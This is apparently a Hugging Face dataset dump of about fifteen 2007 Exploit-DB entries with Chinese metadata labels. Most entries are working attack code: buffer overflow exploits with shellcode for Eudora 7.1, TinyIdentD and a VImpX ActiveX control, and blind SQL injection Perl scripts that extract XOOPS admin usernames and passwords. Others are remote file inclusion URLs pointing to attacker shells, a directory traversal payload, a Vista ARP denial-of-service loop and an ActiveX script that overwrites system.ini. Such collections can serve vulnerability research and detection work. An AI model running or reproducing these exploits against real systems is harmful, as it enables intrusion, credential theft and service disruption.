QLWD/code_shield huggingface dataset:
标题: Eudora 7.1 - SMTP ResponseRemote Remote Buffer Overflow EDB-ID: 3934 CVE: 2007-2770 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-15 漏洞利用脚本: #!/usr/bin/python
# Eudora 7.1 SMTP Response 0day Remote Buffer Overflow PoC Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Tested on Eudora 7.1.0.9 / XP SP2 Polish
# Shellcode type: Windows Execute Command (calc.exe)
# Note:..
# This vulnerability can be exploited only if user
# will ignore warning about "buffer overflow" error.
##

from struct import pack
from time import sleep
from socket import *

bind_addr = '0.0.0.0'
bind_port = 25

shellcode = (
"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")

opcode = 0x7CA58265 # JMP ESP (SHELL32.DLL / XP SP2 Polish)

buf = "250-"
buf += "A" * 76
buf += pack("<L", opcode)
buf += "\x90" * 32
buf += shellcode
buf += "\r\n"

s = socket(AF_INET, SOCK_STREAM)
s.bind((bind_addr, bind_port))
s.listen(1)
print "Listening on %s:%d..." % (bind_addr, bind_port)
cl, addr = s.accept()
print "Connected accepted from: %s" % (addr[0])
cl.send('220 Dupa Jasia\r\n')
print cl.recv(1024)[:-1]
cl.send(buf)
sleep(1)
cl.close()
s.close()
print "Done"

# EoF

# milw0rm.com [2007-05-15] URL: https://www.exploit-db.com/exploits/3934
标题: NewzCrawler 1.8 - invalid string Remote Denial of Service EDB-ID: 3930 CVE: 2007-2722 类型: DOS 平台: WINDOWS 发布日期: 2007-05-15 漏洞利用脚本: ï»¿NewzCrawler 1.8 Remote Denial of Service
Credits: gbr
Tested on Windows XP SP2

NewzCrawler 1.8 becomes usntable and begin crash when parsering the 'url' atribute of
'enclosure' sub-element contends some invalid string* at time of show a new item of a 
RSS 2.0 file.

* '%s', '%Y', '%%', 'n,', and others.

PoC:

<?xml version="1.0"?>
<rss version="2.0">

<channel>
        <title>Test</title>
        <link></link>
        <description></description>

        <item>
                <title>Remote DoS PoC</title>
                <enclosure url="%s"/>
        </item>
</channel>
</rss>

# milw0rm.com [2007-05-15] URL: https://www.exploit-db.com/exploits/3930
标题: XOOPS Module MyConference 1.0 - 'index.php' SQL Injection EDB-ID: 3933 CVE: 2007-2737 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-15 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: XOOPS Module MyConference 1.0 (index.php) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[Dork       : "inurl:/modules/myconference/"
#[S.Page     : http://dev.xoops.org/modules/xfmod/project/?group_id=1072
#[$$         : Free
#[..         : ajann,Turkey


use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  XOOPS Module MyConference 1.0 (index.php) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$kapan = "/*";
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/modules/myconference/index.php?sid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User ID (uid): ";
$id = <STDIN>;
chop ($id);

$target = "-1%20union%20select%20concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass,char(98,105,116,101,114))%20from%20xoops_users%20where%20uid%20like%20".$id.$kapan;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)biter/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-05-15] URL: https://www.exploit-db.com/exploits/3933
标题: Achievo 1.1.0 - 'config_atkroot' Remote File Inclusion EDB-ID: 3928 CVE: 2007-2736 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-15 漏洞利用脚本: ## Achievo 1.1.0(index.php) Remote File Include Vulnerability ##

#Found by : Katatafish (karatatata@hush.com)

#Download http://www.achievo.org/files/achievo-stable-1.1.0.tar.gz

# File: ./atk.inc
 include_once($config_atkroot."atk/modules/class.atkmodule.inc");

# Exploit http://site.com/[path]/index.php?config_atkroot=SHELL

# milw0rm.com [2007-05-15] URL: https://www.exploit-db.com/exploits/3928
标题: linksnet newsfeed 1.0 - Remote File Inclusion EDB-ID: 3923 CVE: 2007-2707 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-14 漏洞利用脚本: #Linksnet Newsfeed =>1.0 Remote file inclusion

#Download script : http://www.linksnet.de/mat/Linksnet_Newsfeed_1_0.zip

#Thanks Str0ke

#Exploit :

#http://victime.com/[Linksnet_Newsfeed_1_0_path]/linksnet_newsfeed/linksnet_linkslog_rss.php?dirpath_linksnet_newsfeed= shetll.txt?

#Discovered by ThE TiGeR

#Miro_Tiger[at]Hotmail[dot]com

# milw0rm.com [2007-05-14] URL: https://www.exploit-db.com/exploits/3923
标题: XOOPS Module Glossarie 1.7 - 'sid' SQL Injection EDB-ID: 3932 CVE: 2007-2738 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-15 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: XOOPS Module Glossarie <= 1.7 (sid) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[Dork       : "inurl:/modules/glossaire/"
#[S.Page     : http://www.xoops.org/modules/repository/singlefile.php?cid=100&lid=1156
#[$$         : Free
#[..         : ajann,Turkey


use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//  XOOPS Module Glossarie <= 1.7 (sid) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$kapan = "/*";
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/modules/glossaire/glossaire-p-f.php?op=ImprDef&sid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }

print "User ID (uid): ";
$id = <STDIN>;
chop ($id);

$target = "999999%20union%20select%20concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),2,3%20from%20xoops_users%20where%20uid%20like%20".$id.$kapan;
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)<P>/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-05-15] URL: https://www.exploit-db.com/exploits/3932
标题: TinyIdentD 2.2 - Remote Buffer Overflow EDB-ID: 3925 CVE: 2007-2711 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-14 漏洞利用脚本: #
#tinyidentd exploit code by
#thomas . pollet _at_ gmail . com
#bug by Maarten Boone
#
#usage: python exploit.py [target]
#
import socket,sys
#jmp into nop sled
payload  = '\xeb\x20'  
#ident crap
payload += ', 28 : USERID : UNIX : '
#nop sled
payload +='XXXX'
# jmp *%esi
payload += '\x77\x13\x83\x7c'  #XP kernel32.dll
#payload += '\xb1\x63\xd9\x77' #W2K rpcrt4.dll
#metasploit alphanumeric shellcode calc.exe
shellcode = "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
shellcode += "\x49\x49\x48\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x44"
shellcode += "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x54\x42\x32\x41\x42\x32\x42"
shellcode += "\x41\x30\x42\x41\x58\x41\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x4b"
shellcode += "\x58\x51\x54\x65\x50\x57\x70\x45\x50\x4e\x6b\x67\x35\x35\x6c\x4e"
shellcode += "\x6b\x73\x4c\x55\x55\x71\x68\x67\x71\x68\x6f\x6c\x4b\x52\x6f\x46"
shellcode += "\x78\x4e\x6b\x51\x4f\x71\x30\x74\x41\x7a\x4b\x30\x49\x6c\x4b\x54"
shellcode += "\x74\x6e\x6b\x76\x61\x4a\x4e\x35\x61\x4b\x70\x6a\x39\x4c\x6c\x4d"
shellcode += "\x54\x6b\x70\x30\x74\x54\x47\x6a\x61\x6a\x6a\x64\x4d\x63\x31\x79"
shellcode += "\x52\x4a\x4b\x69\x64\x67\x4b\x32\x74\x65\x74\x66\x64\x31\x65\x4a"
shellcode += "\x45\x6c\x4b\x71\x4f\x31\x34\x57\x71\x48\x6b\x52\x46\x6e\x6b\x64"
shellcode += "\x4c\x52\x6b\x4e\x6b\x31\x4f\x77\x6c\x54\x41\x68\x6b\x4c\x4b\x57"
shellcode += "\x6c\x6c\x4b\x57\x71\x4a\x4b\x4e\x69\x41\x4c\x65\x74\x67\x74\x4a"
shellcode += "\x63\x75\x61\x4f\x30\x51\x74\x6c\x4b\x61\x50\x50\x30\x4f\x75\x4f"
shellcode += "\x30\x32\x58\x64\x4c\x4c\x4b\x71\x50\x54\x4c\x4c\x4b\x70\x70\x57"
shellcode += "\x6c\x4e\x4d\x6e\x6b\x73\x58\x35\x58\x4a\x4b\x36\x69\x6c\x4b\x4d"
shellcode += "\x50\x4c\x70\x67\x70\x75\x50\x37\x70\x4c\x4b\x45\x38\x35\x6c\x41"
shellcode += "\x4f\x57\x41\x68\x76\x53\x50\x30\x56\x6e\x69\x6b\x48\x6f\x73\x6f"
shellcode += "\x30\x63\x4b\x62\x70\x30\x68\x58\x70\x6f\x7a\x57\x74\x51\x4f\x45"
shellcode += "\x38\x6f\x68\x59\x6e\x4f\x7a\x66\x6e\x62\x77\x69\x6f\x38\x67\x73"
shellcode += "\x53\x52\x41\x30\x6c\x71\x73\x64\x6e\x35\x35\x30\x78\x70\x65\x45"
shellcode += "\x50\x44"

nopsize=523-len(payload)-len(shellcode)
nopsled=''
for i in range(nopsize):
    nopsled+='\x90'

payload=payload.replace('XXXX',nopsled+shellcode)

try:
    target=sys.argv[1]
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target,113))
    s.send(payload+'\n')
    s.close()
    print 'done'
except:
    print 'usage : %s [target]'%sys.argv[0]

# milw0rm.com [2007-05-14] URL: https://www.exploit-db.com/exploits/3925
标题: runawaysoft haber portal 1.0 - 'tr' Multiple Vulnerabilities EDB-ID: 3936 CVE: 2007-2753 2007-2752 类型: WEBAPPS 平台: ASP 发布日期: 2007-05-16 漏洞利用脚本: ############################################################################################################
#Discovered by: kerem125 & gsy
#Website: http://www.kerem125.com/
#Script download: http://www.aspindir.com/goster/4901
#Exploit: /devami.asp?id=14 union+select+all+0,sifre,2,3,4,5,6,7+from+admin
#Admin Login : haber/admin/kontrol.asp
#Example: http://www.runaway.somee.com/rshaber/haber/devami.asp?id=1 union+select+all+0,sifre,2,3,4,5,6,7+from+admin
#
Contact : kerem125@kerem125.com & by_gsy@hotmail.com

#Special Thanks to : by_emR3 - Bolivar - VolTiGoRe - CyberGhost - KinSize - xYz - F-10
############################################################################################################

RunawaySoft Haber portal v1.0 (tr) Database Disclosure
Example: [site.com]/[path]/haber/data/xice.mdb

# milw0rm.com [2007-05-16] URL: https://www.exploit-db.com/exploits/3936
标题: Media Gallery for Geeklog 1.4.8a - Remote File Inclusion EDB-ID: 3924 CVE: 2007-2706 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-14 漏洞利用脚本: #Media Gallery =>v1.4 Remote file inclusion

#Download script : http://switch.dl.sourceforge.net/sourceforge/mediagallery/mediagallery-1.4.6-1.3.11.tar.gz

#Thanks Str0ke

#Exploit :

#http://victime.com/mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]= shell.txt?

#Discovered by ThE TiGeR

#Miro_Tiger100[at]Hotmail[com]

# milw0rm.com [2007-05-14] URL: https://www.exploit-db.com/exploits/3924
标题: Microsoft Windows Vista - Forged ARP packet Network Stack Denial of Service EDB-ID: 3926 CVE: 2007-1531 类型: DOS 平台: WINDOWS 发布日期: 2007-05-15 漏洞利用脚本: #!/usr/bin/env python
#
# :: Kristian Hermansen ::
# Date: 20070514
# Reference: CVE-2007-1531
# Description: Microsoft Windows Vista (SP0) dumps interfaces when
# it receives this ARP packet.  This DoS is useful for an internet
# cafe, wireless venue, or legitimate local attack.  The victim will
# need to manually refresh their network interface.  OK, sure
# it's a dumb local attack, but why does Vista disable iface!?!??
# -> Thanks to Newsham / Hoagland
# Vulnerable: Microsoft Windows Vista (SP0) [All Versions]
# Tested:
# * victim == Windows Vista Enterprise (SP0) [English]
# * attacker == Ubuntu Feisty (7.04)
# Usage: python fISTArp.py <victim>
# Depends: scapy.py
# [?] If you don't have scapy
# [+] wget http://hg.secdev.org/scapy/raw-file/tip/scapy.py

from sys import argv
from os import geteuid
from scapy import Ether,ARP,send,srp,conf
from time import sleep

conf.verb = 0

def head():
    print """
                       __ ___ ____ _____  _               
                      / _|_ _/ ___|_   _|/ \   _ __ _ __  
                     | |_ | |\___ \ | | / _ \ | '__| '_ \ 
                     |  _|| | ___) || |/ ___ \| |  | |_) |
                     |_| |___|____/ |_/_/   \_\_|  | .__/ 
                                                   |_|    

    """

def isroot():
    if geteuid() != 0:
        print "TRY AGAIN AS ROOT SILLY..."
        return False
    else:
        return True

def usage():
    print "usage:", argv[0], "<victim(s)>"
    print "examples:", argv[0], "192.168.1.100"
    print "examples:", argv[0], "192.168.1.0/24\n"

def fisting():
    arp_fist = ARP(pdst=argv[1],op=2)
    print "We are going to loop forever, CTRL-C to stop...\n"
    while True:
        sleep(3)
        for a in arp_fist:
            arping = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=a.pdst)
            ans,unans = srp(arping,timeout=0.1)
            if len(ans) == 1:
                a.psrc=a.pdst
                print a.pdst, "is ALIVE!"
                print "* Time to shut it down!"
                send(a)
                ans2,unans2 = srp(arping,timeout=0.1)
                if len(unans2) == 1:
                    print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
                    print "@@@", a.psrc, "was rubber fisted!"
                    print "@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@"
                    sleep(3)
                else:
                    print "FAILED:", a.pdst, "is still alive :-("
            else:
                print a.pdst, "is already DEAD!"
            print

head()
if isroot() != True:
    exit(1)
if len(argv) != 2:
    usage()
    exit(1)
else:
    fisting()

# u.b.u.n.t.u n.e.t.s.n.i.p.e.r t.h.c.t.e.st.

# milw0rm.com [2007-05-15] URL: https://www.exploit-db.com/exploits/3926
标题: DeWizardX - 'DEWizardAX.ocx' Arbitrary File Overwrite EDB-ID: 3927 CVE: 2007-2725 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-15 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/15</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------
 <b>DB Software Laboratory DeWizardX (DEWizardAX.ocx) Remote Arbitrary File Overwrite</b>
 url: http://www.dbsoftlab.com
 price: $100

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
-----------------------------------------------------------------------------------

<object classid='clsid:90403303-EF21-4771-A41A-651089892EDD' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.SaveToFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/15 - DB Software Laboratory")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-15] URL: https://www.exploit-db.com/exploits/3927
标题: NagiosQL 2005 2.00 - 'prepend_adm.php' Remote File Inclusion EDB-ID: 3919 CVE: 2007-2710 2007-2709 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-14 漏洞利用脚本: #NagiosQL Remote file inclusion

#Download script : http://dfn.dl.sourceforge.net/sourceforge/nagiosql/nagiosql-2.00-P00.tar.gz

#Thanks str0ke

#Exploit :

#http://victim.com/[nagiosQL_path]/functions/prepend_adm.php?SETS[path][physical]=shell.txt?

#Discovered by ThE TiGeR

#Miro_Tiger100[at]Hotmail[dot]com

# milw0rm.com [2007-05-14] URL: https://www.exploit-db.com/exploits/3919
标题: phpAtm 1.30 - 'downloadfile' Remote File Disclosure EDB-ID: 3918 CVE: 2007-2659 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-13 漏洞利用脚本: ******************************************************************************************
download page in : http://phpatm.free.fr/
 
bug in : phpatm
injection attack :
 index.php?action=downloadfile&filename=index.php&directory=../&
 
Dork in google : "powered by php advanced transfer manager"
 
example : http://www.furytech.net/phpATM_130/index.php?action=downloadfile&filename=index.php&directory=../
*******************************************************************************************
************************************************************************************
found bug by : Ali.Mohajem
Email : Ali.Mohajem@Yahoo.com
Website : wWw.Shayatin-team.com
www.mohajem.net
www.mohajem.org
special tnx : fireman - dr.trojan-L0rd-Samir-s4rem-and all iranian hackers
*************************************************************************************

# milw0rm.com [2007-05-13] URL: https://www.exploit-db.com/exploits/3918
标题: Feindt Computerservice News 2.0 - 'newsadmin.php?action' Remote File Inclusion EDB-ID: 3920 CVE: 2007-2708 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-14 漏洞利用脚本: ####################### S==A==U==D==I #########################

News 2.0 (newsadmin.php) Remote File Include Vulnerabilities

##############################################################

Found By : Mogatil , jjl@hotmail.com

##############################################################

Script Site :
http://www.tools4web.de/zaehler.php?i=5
##############################################################
File : /newsadmin.php

include($action.".inc.php");

##############################################################

Thanx: [cold zero] [gawey] [crazy man] [scorbion_22] [the_muslim_sniper]

##############################################################

Exploit :[Path]/newsadmin.php?action=shell

##############################################################

# milw0rm.com [2007-05-14] URL: https://www.exploit-db.com/exploits/3920
标题: VImpX ActiveX (VImpX.ocx 4.7.3.0) - Remote Buffer Overflow EDB-ID: 3916 CVE: 2007-2667 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-13 漏洞利用脚本: <!-
IE 6 / DB Software Laboratory VImpX ActiveX (VImpX.ocx v. 4.7.3.0)
remote buffer overflow exploit
windows xp sp2 it version / eip overwrite method
by rgod
site: http://retrogod.altervista.org
mail: retrog at alice dot it

software site: http://www.dbsoftlab.com/e107_plugins/content/content.php?content.53
->
<html>
<object classid='clsid:7600707B-9F47-416D-8AB5-6FD96EA37968' id='VImpAX1'>
<?php
/* win32_adduser -  PASS=tzu EXITFUNC=seh USER=sun Size=483 Encoder=PexAlphaNum http://metasploit.com */
$shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54".
"\x42\x30\x42\x30\x42\x30\x4b\x58\x45\x44\x4e\x43\x4b\x38\x4e\x57".
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x51\x4b\x48".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x43\x4b\x38".
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x54".
"\x4b\x38\x4f\x35\x4e\x41\x41\x50\x4b\x4e\x4b\x38\x4e\x51\x4b\x38".
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x43".
"\x42\x4c\x46\x46\x4b\x58\x42\x44\x42\x33\x45\x48\x42\x4c\x4a\x57".
"\x4e\x50\x4b\x38\x42\x54\x4e\x30\x4b\x38\x42\x37\x4e\x41\x4d\x4a".
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x38\x42\x4b".
"\x42\x50\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x53".
"\x48\x4f\x42\x36\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x47".
"\x42\x45\x4a\x36\x42\x4f\x4c\x58\x46\x30\x4f\x45\x4a\x46\x4a\x49".
"\x50\x4f\x4c\x38\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x4d\x56".
"\x46\x36\x50\x32\x45\x46\x4a\x47\x45\x56\x42\x52\x4f\x52\x43\x36".
"\x42\x52\x50\x46\x45\x56\x46\x47\x42\x52\x45\x47\x43\x37\x45\x56".
"\x44\x57\x42\x42\x43\x57\x45\x47\x50\x56\x42\x52\x46\x47\x4c\x37".
"\x45\x47\x42\x52\x4f\x42\x41\x34\x46\x34\x46\x54\x42\x42\x48\x42".
"\x48\x32\x42\x52\x50\x46\x45\x36\x46\x57\x42\x52\x4e\x46\x4f\x36".
"\x43\x56\x41\x46\x4e\x36\x47\x56\x44\x47\x4f\x36\x45\x57\x42\x37".
"\x42\x52\x41\x54\x46\x46\x4d\x56\x49\x46\x50\x56\x49\x36\x43\x37".
"\x46\x47\x44\x37\x41\x56\x46\x47\x4f\x56\x44\x37\x43\x37\x42\x52".
"\x43\x57\x45\x57\x50\x46\x42\x42\x4f\x32\x41\x34\x46\x54\x46\x54".
"\x42\x50\x5a";
$junk = "\x45\x45\x45\x59";
$eip  = "\x2d\xd1\xe0\x77"; // call eax user32.dll
$exploit= str_repeat("\x90",268).$eip.$junk."\x90\x90\x90\x0d\x01".str_repeat("\x90",16).$shellcode.str_repeat("\x90",9999);
echo "<param name=\"LogFile\" value=\"$exploit\"/>";
?>
</object>
</html>

# milw0rm.com [2007-05-13] URL: https://www.exploit-db.com/exploits/3916